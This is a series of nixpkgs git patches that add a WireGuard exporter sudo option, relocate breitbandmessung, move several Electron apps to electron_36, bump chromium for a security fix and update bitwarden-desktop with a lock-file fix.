@@ -70,6 +81,14 @@ in
         Adds the `wireguard_latest_handshake_delay_seconds` metric that automatically calculates the seconds passed since the last handshake.
       '';
     };
+
+    prependSudo = mkOption {
+      type = types.bool;
+      default = false;
+      description = ''
+        Whether or no to prepend sudo to wg commands.
+      '';
+    };
   };
   serviceOpts = {
     path = [ pkgs.wireguard-tools ];
@@ -85,7 +104,10 @@ in
           ${optionalString cfg.singleSubnetPerField "-s true"} \
           ${optionalString cfg.withRemoteIp "-r true"} \
           ${optionalString cfg.latestHandshakeDelay "-d true"} \
-          ${optionalString (cfg.wireguardConfig != null) "-n ${escapeShellArg cfg.wireguardConfig}"}
+          ${optionalString cfg.prependSudo "-a true"} \
+          ${optionalString (cfg.wireguardConfig != null) "-n ${escapeShellArg cfg.wireguardConfig}"} \
+          ${concatMapStringsSep " " (i: "-i ${i}") cfg.interfaces} \
+          ${concatStringsSep " " cfg.extraFlags}
       '';
       RestrictAddressFamilies = [
         # Need AF_NETLINK to collect data

From f5b3ffedff5cbb0be2fd59d717955d377b337204 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabian=20M=C3=B6ller?= <fabianm88@gmail.com>
Date: Thu, 26 Jun 2025 09:44:16 +0200
Subject: [PATCH 1885/4511] breitbandmessung: move to by-name

(cherry picked from commit 3ab69d3e6306b2bf58c380026864be130a333619)
---
 .../default.nix => by-name/br/breitbandmessung/package.nix}   | 4 +++-
 .../networking => by-name/br}/breitbandmessung/sources.nix    | 0
 .../networking => by-name/br}/breitbandmessung/update.sh      | 0
 pkgs/top-level/all-packages.nix                               | 4 ----
 4 files changed, 3 insertions(+), 5 deletions(-)
 rename pkgs/{applications/networking/breitbandmessung/default.nix => by-name/br/breitbandmessung/package.nix} (98%)
 rename pkgs/{applications/networking => by-name/br}/breitbandmessung/sources.nix (100%)
 rename pkgs/{applications/networking => by-name/br}/breitbandmessung/update.sh (100%)

diff --git a/pkgs/applications/networking/breitbandmessung/default.nix b/pkgs/by-name/br/breitbandmessung/package.nix
similarity index 98%
rename from pkgs/applications/networking/breitbandmessung/default.nix
rename to pkgs/by-name/br/breitbandmessung/package.nix
index 56315779dd11..56d020e0d00a 100644
--- a/pkgs/applications/networking/breitbandmessung/default.nix
+++ b/pkgs/by-name/br/breitbandmessung/package.nix
@@ -4,7 +4,7 @@
   fetchurl,
   asar,
   dpkg,
-  electron,
+  electron_34,
   makeWrapper,
   nixosTests,
   undmg,
@@ -13,6 +13,8 @@
 let
   inherit (stdenv.hostPlatform) system;
 
+  electron = electron_34;
+
   sources = import ./sources.nix;
 
   systemArgs =
diff --git a/pkgs/applications/networking/breitbandmessung/sources.nix b/pkgs/by-name/br/breitbandmessung/sources.nix
similarity index 100%
rename from pkgs/applications/networking/breitbandmessung/sources.nix
rename to pkgs/by-name/br/breitbandmessung/sources.nix
diff --git a/pkgs/applications/networking/breitbandmessung/update.sh b/pkgs/by-name/br/breitbandmessung/update.sh
similarity index 100%
rename from pkgs/applications/networking/breitbandmessung/update.sh
rename to pkgs/by-name/br/breitbandmessung/update.sh
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 6a8250e6c635..34176c616f8e 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -1232,10 +1232,6 @@ with pkgs;
     stdenv = clangStdenv;
   };
 
-  breitbandmessung = callPackage ../applications/networking/breitbandmessung {
-    electron = electron_34;
-  };
-
   ### APPLICATIONS/VERSION-MANAGEMENT
 
   git = callPackage ../applications/version-management/git {

From ed4f2e54c84e9a34d2dd901118f7c86438747cf5 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabian=20M=C3=B6ller?= <fabianm88@gmail.com>
Date: Thu, 26 Jun 2025 09:45:08 +0200
Subject: [PATCH 1886/4511] breitbandmessung: update electron to electron_36

(cherry picked from commit 35c7cfd372e6cc4d0eede8785f6b712e834cc756)
---
 pkgs/by-name/br/breitbandmessung/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/br/breitbandmessung/package.nix b/pkgs/by-name/br/breitbandmessung/package.nix
index 56d020e0d00a..938e069e5f61 100644
--- a/pkgs/by-name/br/breitbandmessung/package.nix
+++ b/pkgs/by-name/br/breitbandmessung/package.nix
@@ -4,7 +4,7 @@
   fetchurl,
   asar,
   dpkg,
-  electron_34,
+  electron_36,
   makeWrapper,
   nixosTests,
   undmg,
@@ -13,7 +13,7 @@
 let
   inherit (stdenv.hostPlatform) system;
 
-  electron = electron_34;
+  electron = electron_36;
 
   sources = import ./sources.nix;
 

From 52b48349bb66ab2fceff93991be7a64679031257 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Fabian=20M=C3=B6ller?= <fabianm88@gmail.com>
Date: Thu, 26 Jun 2025 09:45:49 +0200
Subject: [PATCH 1887/4511] breitbandmessung: 3.8.0 -> 3.9.0

(cherry picked from commit 5ed76df627278fce113279cfaffdc2de4413703a)
---
 pkgs/by-name/br/breitbandmessung/sources.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/breitbandmessung/sources.nix b/pkgs/by-name/br/breitbandmessung/sources.nix
index c93d42c237ae..c51230b75f07 100644
--- a/pkgs/by-name/br/breitbandmessung/sources.nix
+++ b/pkgs/by-name/br/breitbandmessung/sources.nix
@@ -1,11 +1,11 @@
 {
-  version = "3.8.0";
+  version = "3.9.0";
   x86_64-linux = {
-    url = "https://download.breitbandmessung.de/bbm/Breitbandmessung-3.8.0-linux.deb";
-    sha256 = "sha256-0smSLq8PAwEWK9yf4GeUjXcKlKVRoqfb+qd8w3ppQqA=";
+    url = "https://download.breitbandmessung.de/bbm/Breitbandmessung-3.9.0-linux.deb";
+    sha256 = "sha256-OG+oZr5UHIjrQOxPmLs/DzGJuUAd5pAyvLuTOvhC+20=";
   };
   x86_64-darwin = {
-    url = "https://download.breitbandmessung.de/bbm/Breitbandmessung-3.8.0-mac.dmg";
-    sha256 = "sha256-lysO25oDNDs86Es2VO3XSafVpZU5mcKAZXEdkn0AHig=";
+    url = "https://download.breitbandmessung.de/bbm/Breitbandmessung-3.9.0-mac.dmg";
+    sha256 = "sha256-Tvb2Cum/Bavu+VAVS/1O7pxSIVLdP2XzTG27fhgIh9E=";
   };
 }

From f9fb9649d2ddbe7c0b479a4d91d32e8984d2e23f Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Wed, 25 Jun 2025 17:28:37 +0200
Subject: [PATCH 1888/4511] lx-music-desktop: bump electron version

(cherry picked from commit 3dd3579f885d88d9ba8c7515c1de0fa2643e25d5)
---
 pkgs/by-name/lx/lx-music-desktop/package.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/lx/lx-music-desktop/package.nix b/pkgs/by-name/lx/lx-music-desktop/package.nix
index 6be8e51cc2d2..bbb0a7dce6c6 100644
--- a/pkgs/by-name/lx/lx-music-desktop/package.nix
+++ b/pkgs/by-name/lx/lx-music-desktop/package.nix
@@ -8,13 +8,12 @@
 
   makeWrapper,
 
-  electron_34,
+  electron_36,
   commandLineArgs ? "",
 }:
 
 let
-  # if we want to use later electron, we'll need to bump the `node-abi` npm package version
-  electron = electron_34;
+  electron = electron_36;
 in
 buildNpmPackage rec {
   pname = "lx-music-desktop";

From 3b9d4e194bf7678ae046557e0707223dd4b9e32a Mon Sep 17 00:00:00 2001
From: Weathercold <weathercold.scr@proton.me>
Date: Thu, 26 Jun 2025 15:53:10 -0400
Subject: [PATCH 1889/4511] whalebird: 6.2.0-unstable-2025-02-26 ->
 6.2.2-unstable-2025-06-12

6.2.2 still uses electron 34 which is EOL

(cherry picked from commit 0a4f9d60c16a667c8d3ba7a6a4d9e82929a79805)
---
 pkgs/applications/misc/whalebird/default.nix | 8 ++++----
 pkgs/top-level/all-packages.nix              | 2 +-
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/misc/whalebird/default.nix b/pkgs/applications/misc/whalebird/default.nix
index aab1423a81dd..250a1c68647f 100644
--- a/pkgs/applications/misc/whalebird/default.nix
+++ b/pkgs/applications/misc/whalebird/default.nix
@@ -12,13 +12,13 @@
 }:
 stdenv.mkDerivation rec {
   pname = "whalebird";
-  version = "6.2.0-unstable-2025-02-26";
+  version = "6.2.2-unstable-2025-06-12";
 
   src = fetchFromGitHub {
     owner = "h3poteto";
     repo = "whalebird-desktop";
-    rev = "4f84b962eb338a6251d32f67994b71dc1b44d796";
-    hash = "sha256-BBd9VGLtab6DuMODBnEAdZ/aNp1xV/5vkyprUCHR4z8=";
+    rev = "506a1ff00188f04bffeaede0110719512c621b02";
+    hash = "sha256-jkdGwdNcF4Rbivi0TziW/ZOficbXIrxqaB+kQrNcdsc=";
   };
   # we cannot use fetchYarnDeps because that doesn't support yarn 2/berry lockfiles
   offlineCache = stdenv.mkDerivation {
@@ -41,7 +41,7 @@ stdenv.mkDerivation rec {
     '';
 
     outputHashMode = "recursive";
-    outputHash = "sha256-IDOtmpiVcqy7u/pf1ZqDxY+0fo0sh7cPYG8HKyOnVMk=";
+    outputHash = "sha256-Lru6utVP1uHpHvL8Jg/JzEnIErsxVo7njJhsqkThktk=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 6a8250e6c635..ed2dc0bd06fb 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -14585,7 +14585,7 @@ with pkgs;
   wgnord = callPackage ../applications/networking/wgnord/default.nix { };
 
   whalebird = callPackage ../applications/misc/whalebird {
-    electron = electron_34;
+    electron = electron_36;
   };
 
   inherit (windowmaker) dockapps;

From f126f57182a20c262e121d38a9c1e7ba10f18501 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Mon, 30 Jun 2025 23:32:47 +0200
Subject: [PATCH 1890/4511] chromium,chromedriver: 138.0.7204.49 ->
 138.0.7204.92

https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop_30.html

This update includes 1 security fix. Google is aware that an exploit for
CVE-2025-6554 exists in the wild.

CVEs:
CVE-2025-6554

(cherry picked from commit f4fb03b8e6153d28a9e28f6a7bd283ce78599fcc)
---
 .../networking/browsers/chromium/info.json       | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index b8c8fa8ba405..482dd0da54e9 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "138.0.7204.49",
+    "version": "138.0.7204.92",
     "chromedriver": {
-      "version": "138.0.7204.50",
-      "hash_darwin": "sha256-JqEH04dZxqyUKou8QkwtJa0+4AXWPm0p3NJlYM2fnqw=",
-      "hash_darwin_aarch64": "sha256-WojmEFRIqFDMfay3UA0pzSwH9FRno+nHxzR47x4o7gA="
+      "version": "138.0.7204.93",
+      "hash_darwin": "sha256-Fo5N9rAgHSSnYxrcWMHRezLh8DKi+etZQNjwUKJn7dI=",
+      "hash_darwin_aarch64": "sha256-A46qZtWNli5IuR043RzrEQlNIyeddkyU+5/UJgg5SgU="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "d2b48fd5f7813ed477a2d68fa232b8178fa4fb1e",
-        "hash": "sha256-n2jSVXpV0mqdTdLpE+N3yJhutJTOE1fez0BleU0+VSU=",
+        "rev": "f079b9bc781e3c2adb1496ea1d72812deb0ddb3d",
+        "hash": "sha256-OiDdGapC/sjDZXItnFcCvOtA7TKzeHPK4EsYFMCMQJs=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -796,8 +796,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "0ea9b0813581826a94b45324e746f9ab57f0f843",
-        "hash": "sha256-jGx1jafKyh9BrrJwWKU78sKlwkX9KYHzhggx6TzRel4="
+        "rev": "e5b4c78b54e8b033b2701db3df0bf67d3030e4c1",
+        "hash": "sha256-5y/yNZopnwtDrG+BBU6fMEi0yJJoYvsygQR+fl6vS/Y="
       }
     }
   },

From 9c11bff75d5e7e13d8be4bd3ae6ca6d19243b095 Mon Sep 17 00:00:00 2001
From: William Brockhus <pickeringw@gmail.com>
Date: Mon, 2 Jun 2025 12:05:54 +1000
Subject: [PATCH 1891/4511] bitwarden: 2025.4.2 -> 2025.5.0

(cherry picked from commit 788e16a8e9edee9613b3ccdda02018c854452e8d)
---
 .../bi/bitwarden-desktop/dont-use-platform-triple.patch   | 4 ++--
 pkgs/by-name/bi/bitwarden-desktop/package.nix             | 8 ++++----
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/bi/bitwarden-desktop/dont-use-platform-triple.patch b/pkgs/by-name/bi/bitwarden-desktop/dont-use-platform-triple.patch
index 0b39a187e39d..f2f9259ebc00 100644
--- a/pkgs/by-name/bi/bitwarden-desktop/dont-use-platform-triple.patch
+++ b/pkgs/by-name/bi/bitwarden-desktop/dont-use-platform-triple.patch
@@ -45,10 +45,10 @@ index 2922035..6497a38 100644
    ],
    "electronVersion": "34.0.0",
    "generateUpdatesFilesForAllChannels": true,
-@@ -67,7 +67,6 @@
-       ],
+@@ -68,7 +68,6 @@
        "CFBundleDevelopmentRegion": "en"
      },
+     "provisioningProfile": "bitwarden_desktop_developer_id.provisionprofile",
 -    "singleArchFiles": "node_modules/@bitwarden/desktop-napi/desktop_napi.darwin-*.node",
      "extraFiles": [
        {
diff --git a/pkgs/by-name/bi/bitwarden-desktop/package.nix b/pkgs/by-name/bi/bitwarden-desktop/package.nix
index 70f8ada470e0..b2f9ab146577 100644
--- a/pkgs/by-name/bi/bitwarden-desktop/package.nix
+++ b/pkgs/by-name/bi/bitwarden-desktop/package.nix
@@ -34,13 +34,13 @@ let
 in
 buildNpmPackage' rec {
   pname = "bitwarden-desktop";
-  version = "2025.4.2";
+  version = "2025.5.0";
 
   src = fetchFromGitHub {
     owner = "bitwarden";
     repo = "clients";
     rev = "desktop-v${version}";
-    hash = "sha256-sWphSdxh07GS7GPlNVxK7zoXMTGLjT7qTLfH1nsIiQQ=";
+    hash = "sha256-8jVKwqKhTfhur226SER4sb1i4dY+TjJRYmOY8YtO6CY=";
   };
 
   patches = [
@@ -76,7 +76,7 @@ buildNpmPackage' rec {
     "--ignore-scripts"
   ];
   npmWorkspace = "apps/desktop";
-  npmDepsHash = "sha256-/BOzDt+wgnWedWfShPkAhaeujBBQTDlZdtiKl3wrOqE=";
+  npmDepsHash = "sha256-0IoBPRGdtkMeTrT5cqZLHB/WrUCONtsJ6YHh0y4K5Ls=";
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit
@@ -86,7 +86,7 @@ buildNpmPackage' rec {
       cargoRoot
       patches
       ;
-    hash = "sha256-EONHK33RuVy2ZlUzwdvdBX+6/jiCsrNo9ueZYQtWSkA=";
+    hash = "sha256-ZD/UPYRa+HR7hyWDP6S/BKvQpYRDwWQJV6iGF9LT2uY=";
   };
   cargoRoot = "apps/desktop/desktop_native";
 

From c4ec47e031afef7e3c6e9c1da7ecd861f3762199 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 15 Jun 2025 08:42:06 +0000
Subject: [PATCH 1892/4511] bitwarden-desktop: 2025.5.0 -> 2025.5.1

(cherry picked from commit c5bf33ef76c648a0ad3b92d962cca55e4b453eb1)
---
 pkgs/by-name/bi/bitwarden-desktop/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bi/bitwarden-desktop/package.nix b/pkgs/by-name/bi/bitwarden-desktop/package.nix
index b2f9ab146577..0bfb9cc7c1c5 100644
--- a/pkgs/by-name/bi/bitwarden-desktop/package.nix
+++ b/pkgs/by-name/bi/bitwarden-desktop/package.nix
@@ -34,13 +34,13 @@ let
 in
 buildNpmPackage' rec {
   pname = "bitwarden-desktop";
-  version = "2025.5.0";
+  version = "2025.5.1";
 
   src = fetchFromGitHub {
     owner = "bitwarden";
     repo = "clients";
     rev = "desktop-v${version}";
-    hash = "sha256-8jVKwqKhTfhur226SER4sb1i4dY+TjJRYmOY8YtO6CY=";
+    hash = "sha256-1gxd73E7Y7e1A6yU+J3XYQ4QzXZTxuKd+AE+t8HD478=";
   };
 
   patches = [

From 7da3d262c3b5d6c4dbe02daac3ac4f93b4ad3199 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= <sandro.jaeckel@gmail.com>
Date: Fri, 27 Jun 2025 14:34:45 +0200
Subject: [PATCH 1893/4511] bitwarden-desktop: 2025.5.1 -> 2025.6.0

Changelog: https://github.com/bitwarden/clients/releases/tag/desktop-v2025.6.0
(cherry picked from commit 7dab3f1b3662b5b43bbb1e3a10f40b8c3fb9521b)
---
 .../bi/bitwarden-desktop/fix-lock-files.diff  | 282 ++++++++++++++++++
 pkgs/by-name/bi/bitwarden-desktop/package.nix |  23 +-
 2 files changed, 296 insertions(+), 9 deletions(-)
 create mode 100644 pkgs/by-name/bi/bitwarden-desktop/fix-lock-files.diff

diff --git a/pkgs/by-name/bi/bitwarden-desktop/fix-lock-files.diff b/pkgs/by-name/bi/bitwarden-desktop/fix-lock-files.diff
new file mode 100644
index 000000000000..0fb95a72f799
--- /dev/null
+++ b/pkgs/by-name/bi/bitwarden-desktop/fix-lock-files.diff
@@ -0,0 +1,282 @@
+diff --git a/apps/cli/package.json b/apps/cli/package.json
+index 2ec4e6f697..db5981b5ec 100644
+--- a/apps/cli/package.json
++++ b/apps/cli/package.json
+@@ -85,7 +85,7 @@
+     "multer": "1.4.5-lts.2",
+     "node-fetch": "2.6.12",
+     "node-forge": "1.3.1",
+-    "open": "10.1.2",
++    "open": "8.4.2",
+     "papaparse": "5.5.3",
+     "proper-lockfile": "4.1.2",
+     "rxjs": "7.8.1",
+diff --git a/apps/desktop/desktop_native/Cargo.lock b/apps/desktop/desktop_native/Cargo.lock
+index 05663ea7e0..eadd75e598 100644
+--- a/apps/desktop/desktop_native/Cargo.lock
++++ b/apps/desktop/desktop_native/Cargo.lock
+@@ -162,7 +162,7 @@ dependencies = [
+  "serde_repr",
+  "tokio",
+  "url",
+- "zbus 5.6.0",
++ "zbus",
+ ]
+ 
+ [[package]]
+@@ -900,7 +900,7 @@ dependencies = [
+  "widestring",
+  "windows 0.61.1",
+  "windows-future",
+- "zbus 4.4.0",
++ "zbus",
+  "zbus_polkit",
+  "zeroizing-alloc",
+ ]
+@@ -2063,10 +2063,10 @@ dependencies = [
+  "sha2",
+  "subtle",
+  "tokio",
+- "zbus 5.6.0",
+- "zbus_macros 5.6.0",
++ "zbus",
++ "zbus_macros",
+  "zeroize",
+- "zvariant 5.5.1",
++ "zvariant",
+ ]
+ 
+ [[package]]
+@@ -2715,17 +2715,6 @@ dependencies = [
+  "syn",
+ ]
+ 
+-[[package]]
+-name = "sha1"
+-version = "0.10.6"
+-source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba"
+-dependencies = [
+- "cfg-if",
+- "cpufeatures",
+- "digest",
+-]
+-
+ [[package]]
+ name = "sha2"
+ version = "0.10.8"
+@@ -3921,9 +3910,9 @@ dependencies = [
+ 
+ [[package]]
+ name = "zbus"
+-version = "4.4.0"
++version = "5.5.0"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "bb97012beadd29e654708a0fdb4c84bc046f537aecfde2c3ee0a9e4b4d48c725"
++checksum = "59c333f648ea1b647bc95dc1d34807c8e25ed7a6feff3394034dc4776054b236"
+ dependencies = [
+  "async-broadcast",
+  "async-executor",
+@@ -3938,90 +3927,37 @@ dependencies = [
+  "enumflags2",
+  "event-listener",
+  "futures-core",
+- "futures-sink",
+- "futures-util",
+- "hex",
+- "nix",
+- "ordered-stream",
+- "rand 0.8.5",
+- "serde",
+- "serde_repr",
+- "sha1",
+- "static_assertions",
+- "tracing",
+- "uds_windows",
+- "windows-sys 0.52.0",
+- "xdg-home",
+- "zbus_macros 4.4.0",
+- "zbus_names 3.0.0",
+- "zvariant 4.2.0",
+-]
+-
+-[[package]]
+-name = "zbus"
+-version = "5.6.0"
+-source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "2522b82023923eecb0b366da727ec883ace092e7887b61d3da5139f26b44da58"
+-dependencies = [
+- "async-broadcast",
+- "async-recursion",
+- "async-trait",
+- "enumflags2",
+- "event-listener",
+- "futures-core",
+  "futures-lite",
+  "hex",
+  "nix",
+  "ordered-stream",
+  "serde",
+  "serde_repr",
++ "static_assertions",
+  "tokio",
+  "tracing",
+  "uds_windows",
+  "windows-sys 0.59.0",
+  "winnow",
+- "zbus_macros 5.6.0",
+- "zbus_names 4.2.0",
+- "zvariant 5.5.1",
++ "xdg-home",
++ "zbus_macros",
++ "zbus_names",
++ "zvariant",
+ ]
+ 
+ [[package]]
+ name = "zbus_macros"
+-version = "4.4.0"
++version = "5.5.0"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "267db9407081e90bbfa46d841d3cbc60f59c0351838c4bc65199ecd79ab1983e"
++checksum = "f325ad10eb0d0a3eb060203494c3b7ec3162a01a59db75d2deee100339709fc0"
+ dependencies = [
+  "proc-macro-crate",
+  "proc-macro2",
+  "quote",
+  "syn",
+- "zvariant_utils 2.1.0",
+-]
+-
+-[[package]]
+-name = "zbus_macros"
+-version = "5.6.0"
+-source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "05d2e12843c75108c00c618c2e8ef9675b50b6ec095b36dc965f2e5aed463c15"
+-dependencies = [
+- "proc-macro-crate",
+- "proc-macro2",
+- "quote",
+- "syn",
+- "zbus_names 4.2.0",
+- "zvariant 5.5.1",
+- "zvariant_utils 3.2.0",
+-]
+-
+-[[package]]
+-name = "zbus_names"
+-version = "3.0.0"
+-source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "4b9b1fef7d021261cc16cba64c351d291b715febe0fa10dc3a443ac5a5022e6c"
+-dependencies = [
+- "serde",
+- "static_assertions",
+- "zvariant 4.2.0",
++ "zbus_names",
++ "zvariant",
++ "zvariant_utils",
+ ]
+ 
+ [[package]]
+@@ -4033,20 +3969,20 @@ dependencies = [
+  "serde",
+  "static_assertions",
+  "winnow",
+- "zvariant 5.5.1",
++ "zvariant",
+ ]
+ 
+ [[package]]
+ name = "zbus_polkit"
+-version = "4.0.0"
++version = "5.0.0"
+ source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "00a29bfa927b29f91b7feb4e1990f2dd1b4604072f493dc2f074cf59e4e0ba90"
++checksum = "ad23d5c4d198c7e2641b33e6e0d1f866f117408ba66fe80bbe52e289eeb77c52"
+ dependencies = [
+  "enumflags2",
+  "serde",
+  "serde_repr",
+  "static_assertions",
+- "zbus 4.4.0",
++ "zbus",
+ ]
+ 
+ [[package]]
+@@ -4149,19 +4085,6 @@ dependencies = [
+  "syn",
+ ]
+ 
+-[[package]]
+-name = "zvariant"
+-version = "4.2.0"
+-source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "2084290ab9a1c471c38fc524945837734fbf124487e105daec2bb57fd48c81fe"
+-dependencies = [
+- "endi",
+- "enumflags2",
+- "serde",
+- "static_assertions",
+- "zvariant_derive 4.2.0",
+-]
+-
+ [[package]]
+ name = "zvariant"
+ version = "5.5.1"
+@@ -4173,21 +4096,8 @@ dependencies = [
+  "serde",
+  "url",
+  "winnow",
+- "zvariant_derive 5.5.1",
+- "zvariant_utils 3.2.0",
+-]
+-
+-[[package]]
+-name = "zvariant_derive"
+-version = "4.2.0"
+-source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "73e2ba546bda683a90652bac4a279bc146adad1386f25379cf73200d2002c449"
+-dependencies = [
+- "proc-macro-crate",
+- "proc-macro2",
+- "quote",
+- "syn",
+- "zvariant_utils 2.1.0",
++ "zvariant_derive",
++ "zvariant_utils",
+ ]
+ 
+ [[package]]
+@@ -4200,18 +4110,7 @@ dependencies = [
+  "proc-macro2",
+  "quote",
+  "syn",
+- "zvariant_utils 3.2.0",
+-]
+-
+-[[package]]
+-name = "zvariant_utils"
+-version = "2.1.0"
+-source = "registry+https://github.com/rust-lang/crates.io-index"
+-checksum = "c51bcff7cc3dbb5055396bcf774748c3dab426b4b8659046963523cee4808340"
+-dependencies = [
+- "proc-macro2",
+- "quote",
+- "syn",
++ "zvariant_utils",
+ ]
+ 
+ [[package]]
+diff --git a/package-lock.json b/package-lock.json
+index 5df63a79dd..702b6d1c81 100644
+--- a/package-lock.json
++++ b/package-lock.json
+@@ -225,7 +225,7 @@
+         "multer": "1.4.5-lts.2",
+         "node-fetch": "2.6.12",
+         "node-forge": "1.3.1",
+-        "open": "10.1.2",
++        "open": "8.4.2",
+         "papaparse": "5.5.3",
+         "proper-lockfile": "4.1.2",
+         "rxjs": "7.8.1",
diff --git a/pkgs/by-name/bi/bitwarden-desktop/package.nix b/pkgs/by-name/bi/bitwarden-desktop/package.nix
index 0bfb9cc7c1c5..ecb9dc7a83c9 100644
--- a/pkgs/by-name/bi/bitwarden-desktop/package.nix
+++ b/pkgs/by-name/bi/bitwarden-desktop/package.nix
@@ -5,7 +5,7 @@
   cargo,
   copyDesktopItems,
   darwin,
-  electron_34,
+  electron_36,
   fetchFromGitHub,
   gnome-keyring,
   jq,
@@ -25,7 +25,7 @@
 let
   description = "Secure and free password manager for all of your devices";
   icon = "bitwarden";
-  electron = electron_34;
+  electron = electron_36;
 
   # argon2 npm dependency is using `std::basic_string<uint8_t>`, which is no longer allowed in LLVM 19
   buildNpmPackage' = buildNpmPackage.override {
@@ -34,21 +34,26 @@ let
 in
 buildNpmPackage' rec {
   pname = "bitwarden-desktop";
-  version = "2025.5.1";
+  version = "2025.6.0";
 
   src = fetchFromGitHub {
     owner = "bitwarden";
     repo = "clients";
     rev = "desktop-v${version}";
-    hash = "sha256-1gxd73E7Y7e1A6yU+J3XYQ4QzXZTxuKd+AE+t8HD478=";
+    hash = "sha256-KI6oIMNtqfywVqeTdzthSHBnAlF55cINTr04LNSq0AM=";
   };
 
   patches = [
     ./electron-builder-package-lock.patch
     ./dont-auto-setup-biometrics.patch
-    ./set-exe-path.patch # ensures `app.getPath("exe")` returns our wrapper, not ${electron}/bin/electron
-    ./skip-afterpack-and-aftersign.patch # on linux: don't flip fuses, don't create wrapper script, on darwin: don't try copying safari extensions, don't try re-signing app
-    ./dont-use-platform-triple.patch # since out arch doesn't match upstream, we'll generate and use desktop_napi.node instead of desktop_napi.${platform}-${arch}.node
+    ./fix-lock-files.diff
+
+    # ensures `app.getPath("exe")` returns our wrapper, not ${electron}/bin/electron
+    ./set-exe-path.patch
+    # on linux: don't flip fuses, don't create wrapper script, on darwin: don't try copying safari extensions, don't try re-signing app
+    ./skip-afterpack-and-aftersign.patch
+    # since out arch doesn't match upstream, we'll generate and use desktop_napi.node instead of desktop_napi.${platform}-${arch}.node
+    ./dont-use-platform-triple.patch
   ];
 
   postPatch = ''
@@ -76,7 +81,7 @@ buildNpmPackage' rec {
     "--ignore-scripts"
   ];
   npmWorkspace = "apps/desktop";
-  npmDepsHash = "sha256-0IoBPRGdtkMeTrT5cqZLHB/WrUCONtsJ6YHh0y4K5Ls=";
+  npmDepsHash = "sha256-52cLVrfbeNeRH7OKN5QZdGD5VkUVliN0Rn/cbdohsG0=";
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit
@@ -86,7 +91,7 @@ buildNpmPackage' rec {
       cargoRoot
       patches
       ;
-    hash = "sha256-ZD/UPYRa+HR7hyWDP6S/BKvQpYRDwWQJV6iGF9LT2uY=";
+    hash = "sha256-mt7zWKgH21khAIrfpBFzb+aS2V2mV56zMqCSLzDhGfQ=";
   };
   cargoRoot = "apps/desktop/desktop_native";
 

From b5cf19c7fcc9fc549336b02d07c130efaa0e682d Mon Sep 17 00:00:00 2001
From: Sandro <sandro.jaeckel@gmail.com>
Date: Fri, 27 Jun 2025 19:49:09 +0200
Subject: [PATCH 1894/4511] bitwarden-desktop: comment lock file patch

(cherry picked from commit 52f1b45583d1877ca09e522c0928bd7b3370c775)
---
 pkgs/by-name/bi/bitwarden-desktop/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/bi/bitwarden-desktop/package.nix b/pkgs/by-name/bi/bitwarden-desktop/package.nix
index ecb9dc7a83c9..42652ea47797 100644
--- a/pkgs/by-name/bi/bitwarden-desktop/package.nix
+++ b/pkgs/by-name/bi/bitwarden-desktop/package.nix
@@ -46,6 +46,7 @@ buildNpmPackage' rec {
   patches = [
     ./electron-builder-package-lock.patch
     ./dont-auto-setup-biometrics.patch
+    # The nixpkgs tooling trips over upstreams inconsistent lock files, so we fixed them by running npm install open@10.2.1 and cargo b
     ./fix-lock-files.diff
 
     # ensures `app.getPath("exe")` returns our wrapper, not ${electron}/bin/electron

From 19c21357eb5645730a20e25bb342bf73b5bc2218 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 1 Jul 2025 05:43:43 +0000
Subject: [PATCH 1895/4511] libxlsxwriter: 1.2.2 -> 1.2.3

(cherry picked from commit a8332982de322b0529ce00af62f534d3e663d05d)
---
